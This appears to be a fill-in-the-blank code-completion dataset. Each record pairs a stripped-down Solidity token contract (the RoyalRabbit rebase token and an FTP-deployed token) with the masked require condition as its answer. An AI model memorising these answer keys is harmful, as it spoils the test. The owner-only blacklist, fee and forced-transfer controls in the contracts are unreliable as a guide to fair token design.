function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
sellMultiplier = _sell;
buyMultiplier = _buy;
transferMultiplier = _trans;
require(totalFee.mul(buyMultiplier).div(100) <= 10, "Buy fees cannot be more than 10%");
require(<FILL_ME>)
}
function tradingStatus(bool _status, bool _b) external onlyOwner {
}
function trueburn_DAO(bool _status) external onlyOwner{
}
function tradingStatus_launchmode(uint256 _pass) external onlyOwner {
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_sellLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function setFees(uint256 _LIQFee, uint256 _RLRee, uint256 _PRDFee, uint256 _infernoFee) external onlyOwner {
}
function setFeeReceivers(address _RLReeReceiver, address _PRDFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount, bool _swapAll) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
// Rebase related function
function checkSwapThreshold() external view returns (uint256) {
}
function shouldRebase() internal view returns (bool) {
}
function manualSync() public {
}
function MarkerPair_add(address adr) external onlyOwner{
}
function MarkerPair_clear(uint256 pairstoremove) external onlyOwner{
}
// Rebase core
function _rebase() private {
}
function coreRebase(uint256 supplyDelta) private returns (bool) {
}
function manualRebase() external onlyOwner{
}
function manualRebase_customrate(uint256 _yield, uint256 _denominator) external onlyOwner{
}
function rebase_AutoRebase(bool _status, uint256 _nextRebaseInterval) external onlyOwner {
}
function rebase_setFrequency(uint256 _rebaseFrequency) external onlyOwner {
}
function rebase_setYield(uint256 _rewardYield, uint256 _rewardYieldDenominator) external onlyOwner {
}
function rebase_setNextRebase(uint256 _nextRebase) external onlyOwner {
}
function setMaxSellTransaction(uint256 _maxTxn) external onlyOwner {
}
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event AutoLiquify(uint256 amountBNB, uint256 amountTokens);
}
| totalFee.mul(sellMultiplier).div(100)<=10,"Sell fees cannot be more than 10%" | 205,122 | totalFee.mul(sellMultiplier).div(100)<=10 |
"Antibot must be disabled before launch mode is disabled" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr, uint256 confirm) public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract RoyalRabbit is IERC20, Auth {
using SafeMath for uint256;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "RoyalRabbit";
string constant _symbol = "ROYALR";
uint8 constant _decimals = 9;
// Rebase data
bool public autoRebase = false;
uint256 public rewardYield = 4252083;
uint256 public rewardYieldDenominator = 10000000000;
uint256 public maxSellTransactionAmount = 2500000 * 10 ** 18;
uint256 public rebaseFrequency = 1800;
uint256 public nextRebase = block.timestamp + 604800;
// Rebase constants
uint256 private constant MAX_UINT256 = type(uint256).max;
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 10**8 * 10**_decimals;
uint256 private constant MAX_SUPPLY = type(uint128).max;
uint256 private TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 _totalSupply = INITIAL_FRAGMENTS_SUPPLY;
uint256 private _rate = TOTAL_GONS.div(_totalSupply);
uint256 public _maxTxAmount = TOTAL_GONS / 100;
uint256 public _maxWalletToken = TOTAL_GONS / 50;
mapping (address => uint256) _rBalance;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) private isBlacklisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isWalletLimitExempt;
mapping (address => bool) isMaxSellTransactionExempt;
uint256 public LIQFee = 4;
uint256 public RLRee = 1;
uint256 public PRDFee = 1;
uint256 public infernoFee = 0;
uint256 public totalFee = RLRee + LIQFee + PRDFee + infernoFee;
uint256 public constant feeDenominator = 100;
uint256 public sellMultiplier = 100;
uint256 public buyMultiplier = 100;
uint256 public transferMultiplier = 100;
uint256 public transferTax = 100;
address public LIQReceiver;
address public RLReeReceiver;
address public PRDFeeReceiver;
address public infernoFeeReceiver;
IDEXRouter public router;
address public pair;
InterfaceLP pcspair_interface;
address[] public _markerPairs;
bool public tradingOpen = false;
bool public RoyalRabbitBurnDAO = true;
bool public antibot = false;
bool public launchMode = true;
bool public swapEnabled = false;
bool public swapAll = false;
uint256 private gonSwapThreshold = TOTAL_GONS / 10000;
bool inSwap;
modifier swapping() { }
struct user {
uint256 firstBuy;
uint256 lastTradeTime;
uint256 tradeAmount;
}
uint256 public TwentyFourhours = 86400;
mapping(address => user) public tradeData;
modifier validRecipient(address to) {
}
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function RoyalRabbitburn(uint256 _percent) external {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
// Public function starts
function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
}
function tradingStatus(bool _status, bool _b) external onlyOwner {
}
function trueburn_DAO(bool _status) external onlyOwner{
}
function tradingStatus_launchmode(uint256 _pass) external onlyOwner {
require(_pass == 123111123, "Accidental press, please enter pass");
require(tradingOpen,"Cant close launch mode when trading is disabled");
require(<FILL_ME>)
launchMode = false;
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_sellLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function setFees(uint256 _LIQFee, uint256 _RLRee, uint256 _PRDFee, uint256 _infernoFee) external onlyOwner {
}
function setFeeReceivers(address _RLReeReceiver, address _PRDFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount, bool _swapAll) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
// Rebase related function
function checkSwapThreshold() external view returns (uint256) {
}
function shouldRebase() internal view returns (bool) {
}
function manualSync() public {
}
function MarkerPair_add(address adr) external onlyOwner{
}
function MarkerPair_clear(uint256 pairstoremove) external onlyOwner{
}
// Rebase core
function _rebase() private {
}
function coreRebase(uint256 supplyDelta) private returns (bool) {
}
function manualRebase() external onlyOwner{
}
function manualRebase_customrate(uint256 _yield, uint256 _denominator) external onlyOwner{
}
function rebase_AutoRebase(bool _status, uint256 _nextRebaseInterval) external onlyOwner {
}
function rebase_setFrequency(uint256 _rebaseFrequency) external onlyOwner {
}
function rebase_setYield(uint256 _rewardYield, uint256 _rewardYieldDenominator) external onlyOwner {
}
function rebase_setNextRebase(uint256 _nextRebase) external onlyOwner {
}
function setMaxSellTransaction(uint256 _maxTxn) external onlyOwner {
}
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event AutoLiquify(uint256 amountBNB, uint256 amountTokens);
}
| !antibot,"Antibot must be disabled before launch mode is disabled" | 205,122 | !antibot |
"Try again" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr, uint256 confirm) public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract RoyalRabbit is IERC20, Auth {
using SafeMath for uint256;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "RoyalRabbit";
string constant _symbol = "ROYALR";
uint8 constant _decimals = 9;
// Rebase data
bool public autoRebase = false;
uint256 public rewardYield = 4252083;
uint256 public rewardYieldDenominator = 10000000000;
uint256 public maxSellTransactionAmount = 2500000 * 10 ** 18;
uint256 public rebaseFrequency = 1800;
uint256 public nextRebase = block.timestamp + 604800;
// Rebase constants
uint256 private constant MAX_UINT256 = type(uint256).max;
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 10**8 * 10**_decimals;
uint256 private constant MAX_SUPPLY = type(uint128).max;
uint256 private TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 _totalSupply = INITIAL_FRAGMENTS_SUPPLY;
uint256 private _rate = TOTAL_GONS.div(_totalSupply);
uint256 public _maxTxAmount = TOTAL_GONS / 100;
uint256 public _maxWalletToken = TOTAL_GONS / 50;
mapping (address => uint256) _rBalance;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) private isBlacklisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isWalletLimitExempt;
mapping (address => bool) isMaxSellTransactionExempt;
uint256 public LIQFee = 4;
uint256 public RLRee = 1;
uint256 public PRDFee = 1;
uint256 public infernoFee = 0;
uint256 public totalFee = RLRee + LIQFee + PRDFee + infernoFee;
uint256 public constant feeDenominator = 100;
uint256 public sellMultiplier = 100;
uint256 public buyMultiplier = 100;
uint256 public transferMultiplier = 100;
uint256 public transferTax = 100;
address public LIQReceiver;
address public RLReeReceiver;
address public PRDFeeReceiver;
address public infernoFeeReceiver;
IDEXRouter public router;
address public pair;
InterfaceLP pcspair_interface;
address[] public _markerPairs;
bool public tradingOpen = false;
bool public RoyalRabbitBurnDAO = true;
bool public antibot = false;
bool public launchMode = true;
bool public swapEnabled = false;
bool public swapAll = false;
uint256 private gonSwapThreshold = TOTAL_GONS / 10000;
bool inSwap;
modifier swapping() { }
struct user {
uint256 firstBuy;
uint256 lastTradeTime;
uint256 tradeAmount;
}
uint256 public TwentyFourhours = 86400;
mapping(address => user) public tradeData;
modifier validRecipient(address to) {
}
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function RoyalRabbitburn(uint256 _percent) external {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
// Public function starts
function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
}
function tradingStatus(bool _status, bool _b) external onlyOwner {
}
function trueburn_DAO(bool _status) external onlyOwner{
}
function tradingStatus_launchmode(uint256 _pass) external onlyOwner {
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_sellLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function setFees(uint256 _LIQFee, uint256 _RLRee, uint256 _PRDFee, uint256 _infernoFee) external onlyOwner {
}
function setFeeReceivers(address _RLReeReceiver, address _PRDFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount, bool _swapAll) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
// Rebase related function
function checkSwapThreshold() external view returns (uint256) {
}
function shouldRebase() internal view returns (bool) {
}
function manualSync() public {
}
function MarkerPair_add(address adr) external onlyOwner{
}
function MarkerPair_clear(uint256 pairstoremove) external onlyOwner{
}
// Rebase core
function _rebase() private {
}
function coreRebase(uint256 supplyDelta) private returns (bool) {
}
function manualRebase() external onlyOwner{
require(<FILL_ME>)
require(nextRebase <= block.timestamp, "Not in time");
uint256 circulatingSupply = getCirculatingSupply();
uint256 supplyDelta = circulatingSupply.mul(rewardYield).div(rewardYieldDenominator);
coreRebase(supplyDelta);
manualSync();
}
function manualRebase_customrate(uint256 _yield, uint256 _denominator) external onlyOwner{
}
function rebase_AutoRebase(bool _status, uint256 _nextRebaseInterval) external onlyOwner {
}
function rebase_setFrequency(uint256 _rebaseFrequency) external onlyOwner {
}
function rebase_setYield(uint256 _rewardYield, uint256 _rewardYieldDenominator) external onlyOwner {
}
function rebase_setNextRebase(uint256 _nextRebase) external onlyOwner {
}
function setMaxSellTransaction(uint256 _maxTxn) external onlyOwner {
}
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event AutoLiquify(uint256 amountBNB, uint256 amountTokens);
}
| !inSwap,"Try again" | 205,122 | !inSwap |
null | /*
Built and deployed using FTP Deployer, a service of Fair Token Project.
Deploy your own token today at https://app.fairtokenproject.com#deploy
FUCKTHEPATRIACH Socials:
Twitter: https://twitter.com/PatriachThe
** Secured With FTP Antibot **
** Using FTP LPAdd to recycle 5.00% of ALL transactions back into the liquidity pool. **
Fair Token Project is not responsible for the actions of users of this service.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
function transferOwnership(address _address) public virtual onlyOwner {
}
modifier onlyOwner() {
}
}
contract Taxable is Ownable {
using SafeMath for uint256;
FTPExternal External;
address payable private m_ExternalServiceAddress = payable(0x4f53cDEC355E42B3A68bAadD26606b7F82fDb0f7);
address payable private m_DevAddress;
uint256 private m_DevAlloc = 1000;
address internal m_WebThree = 0x1011f61Df0E2Ad67e269f4108098c79e71868E00;
uint256[] m_TaxAlloc;
address payable[] m_TaxAddresses;
mapping (address => uint256) private m_TaxIdx;
uint256 public m_TotalAlloc;
uint256 m_TotalAddresses;
bool private m_DidDeploy = false;
function initTax() internal virtual {
}
function payTaxes(uint256 _eth, uint256 _d) internal virtual {
}
function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() {
require(_alloc >= 0, "Allocation must be at least 0");
if(m_TotalAddresses > 11)
require(_alloc == 0, "Max wallet count reached");
if (m_DidDeploy) {
if (_address == m_DevAddress) {
require(_msgSender() == m_WebThree);
}
}
uint _idx = m_TaxIdx[_address];
if (_idx == 0) {
require(<FILL_ME>)
m_TaxAlloc.push(_alloc);
m_TaxAddresses.push(_address);
m_TaxIdx[_address] = m_TaxAlloc.length - 1;
m_TotalAlloc = m_TotalAlloc.add(_alloc);
} else { // update alloc for this address
uint256 _priorAlloc = m_TaxAlloc[_idx];
require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 10500);
m_TaxAlloc[_idx] = _alloc;
m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc);
if(_alloc == 0)
m_TotalAddresses = m_TotalAddresses.sub(1);
}
if(_alloc > 0)
m_TotalAddresses += 1;
}
function totalTaxAlloc() internal virtual view returns (uint256) {
}
function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) {
}
function updateDevWallet(address payable _address, uint256 _alloc) public virtual onlyOwner() {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPLiqLock {
function lockTokens(address _uniPair, uint256 _epoch, address _tokenPayout, address _router) external;
}
interface FTPAntiBot {
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function registerBlock(address _recipient, address _sender, address _origin) external;
}
interface IWETH {
function deposit() external payable;
function balanceOf(address account) external view returns (uint256);
function approve(address _spender, uint256 _amount) external returns (bool);
function transfer(address _recipient, uint256 _amount) external returns (bool);
}
interface FTPExternal {
function owner() external returns(address);
function deposit(uint256 _amount) external;
}
contract FUCKTHEPATRIACH is Context, IERC20, Taxable {
using SafeMath for uint256;
// TOKEN
uint256 private constant TOTAL_SUPPLY = 1000000 * 10**9;
string private m_Name = "FUCKTHEPATRIACH";
string private m_Symbol = "FTP";
uint8 private m_Decimals = 9;
// EXCHANGES
address private m_UniswapV2Pair;
IUniswapV2Router02 private m_UniswapV2Router;
// TRANSACTIONS
uint256 private m_WalletLimit = TOTAL_SUPPLY.div(100);
bool private m_Liquidity = false;
event NewTaxAlloc(address Address, uint256 Allocation);
event SetTxLimit(uint TxLimit);
// ANTIBOT
FTPAntiBot private AntiBot;
address private m_AntibotSvcAddress = 0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3;
// LP ADD
IWETH private WETH;
uint256 private m_LiqAlloc = 5000;
// MISC
address private m_LiqLockSvcAddress = 0x6141e613c6A504B75d75340D345Eb92046c958c7;
mapping (address => bool) private m_Blacklist;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
uint256 private m_LastEthBal = 0;
uint256 private m_Launched = 0;
bool private m_IsSwap = false;
bool private m_DidTryLaunch;
uint256 private pMax = 100000; // max alloc percentage
modifier lockTheSwap {
}
modifier onlyDev() {
}
receive() external payable {}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address _account) public view override returns (uint256) {
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
}
function _readyToTax(address _sender) private view returns (bool) {
}
function _isBuy(address _sender) private view returns (bool) {
}
function _isTax(address _sender) private view returns (bool) {
}
function _trader(address _sender, address _recipient) private view returns (bool) {
}
function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) {
}
function _txRestricted(address _sender, address _recipient) private view returns (bool) {
}
function _walletCapped(address _recipient) private view returns (bool) {
}
function _checkTX() private view returns (uint256){
}
function _approve(address _owner, address _spender, uint256 _amount) private {
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
}
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
}
function _getTaxes(address _sender, address _recipient, uint256 _amount) private returns (uint256) {
}
function _tax(address _sender) private {
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
}
function _depositWETH(uint256 _amount) private {
}
function _getTaxDenominator() private view returns (uint) {
}
function _disperseEth() private {
}
function addLiquidity() external onlyOwner() {
}
function launch(uint8 _timer) external onlyOwner() {
}
function didLaunch() external view returns (bool) {
}
function checkIfBlacklist(address _address) external view returns (bool) {
}
function blacklist(address _address) external onlyOwner() {
}
function rmBlacklist(address _address) external onlyOwner() {
}
function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() {
}
function emergencySwap() external onlyOwner() {
}
function addTaxWhitelist(address _address) external onlyOwner() {
}
function rmTaxWhitelist(address _address) external onlyOwner() {
}
function setWebThree(address _address) external onlyDev() {
}
}
| m_TotalAlloc.add(_alloc)<=10500 | 205,179 | m_TotalAlloc.add(_alloc)<=10500 |
null | /*
Built and deployed using FTP Deployer, a service of Fair Token Project.
Deploy your own token today at https://app.fairtokenproject.com#deploy
FUCKTHEPATRIACH Socials:
Twitter: https://twitter.com/PatriachThe
** Secured With FTP Antibot **
** Using FTP LPAdd to recycle 5.00% of ALL transactions back into the liquidity pool. **
Fair Token Project is not responsible for the actions of users of this service.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
function transferOwnership(address _address) public virtual onlyOwner {
}
modifier onlyOwner() {
}
}
contract Taxable is Ownable {
using SafeMath for uint256;
FTPExternal External;
address payable private m_ExternalServiceAddress = payable(0x4f53cDEC355E42B3A68bAadD26606b7F82fDb0f7);
address payable private m_DevAddress;
uint256 private m_DevAlloc = 1000;
address internal m_WebThree = 0x1011f61Df0E2Ad67e269f4108098c79e71868E00;
uint256[] m_TaxAlloc;
address payable[] m_TaxAddresses;
mapping (address => uint256) private m_TaxIdx;
uint256 public m_TotalAlloc;
uint256 m_TotalAddresses;
bool private m_DidDeploy = false;
function initTax() internal virtual {
}
function payTaxes(uint256 _eth, uint256 _d) internal virtual {
}
function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() {
require(_alloc >= 0, "Allocation must be at least 0");
if(m_TotalAddresses > 11)
require(_alloc == 0, "Max wallet count reached");
if (m_DidDeploy) {
if (_address == m_DevAddress) {
require(_msgSender() == m_WebThree);
}
}
uint _idx = m_TaxIdx[_address];
if (_idx == 0) {
require(m_TotalAlloc.add(_alloc) <= 10500);
m_TaxAlloc.push(_alloc);
m_TaxAddresses.push(_address);
m_TaxIdx[_address] = m_TaxAlloc.length - 1;
m_TotalAlloc = m_TotalAlloc.add(_alloc);
} else { // update alloc for this address
uint256 _priorAlloc = m_TaxAlloc[_idx];
require(<FILL_ME>)
m_TaxAlloc[_idx] = _alloc;
m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc);
if(_alloc == 0)
m_TotalAddresses = m_TotalAddresses.sub(1);
}
if(_alloc > 0)
m_TotalAddresses += 1;
}
function totalTaxAlloc() internal virtual view returns (uint256) {
}
function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) {
}
function updateDevWallet(address payable _address, uint256 _alloc) public virtual onlyOwner() {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
